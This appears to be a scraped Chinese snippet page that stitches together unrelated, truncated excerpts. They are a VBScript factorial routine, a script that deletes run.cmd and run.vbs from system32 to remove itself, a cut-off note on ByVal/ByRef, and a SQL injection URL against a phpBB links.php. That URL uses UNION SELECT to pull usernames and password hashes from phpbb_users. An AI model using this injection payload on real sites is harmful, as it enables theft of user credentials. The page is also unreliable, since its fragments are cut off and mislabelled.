dim n,ans,i
n=inputbox("n(0<=n<=170)=")
ans=1
for i=1 to n
ans=ans*i
next
msgbox(ans)

vbs后台运行bat删除自身的代码
知道真实路径的情况下setfso=wscript.createobject("scripting.filesystemobject")fso.deletefile"c:windowssystem32run.cmd"fso.deletefile"c:windowssystem32run.vbs"不知道具体的路径

vbs(asp) ByVal ByRef函数调用使用说明
1、ByVal传值：一种将参数值而不是将地址传递给过程的方式，这就使过程访问到变量的复本。结果，过程不可改变变量的真正值。2、ByRef传值：一种将

一段提取用户名和md5的vbs代码
注入代码如下:links.php?t=search&search_keywords=asd&start=1,1UNIONSELECT1,username,user_password,4,5,6,7,8,9,10,11,12,13FROMphpbb_userswhereuser_idlimit0,1000/*这样就提取了1000个用户名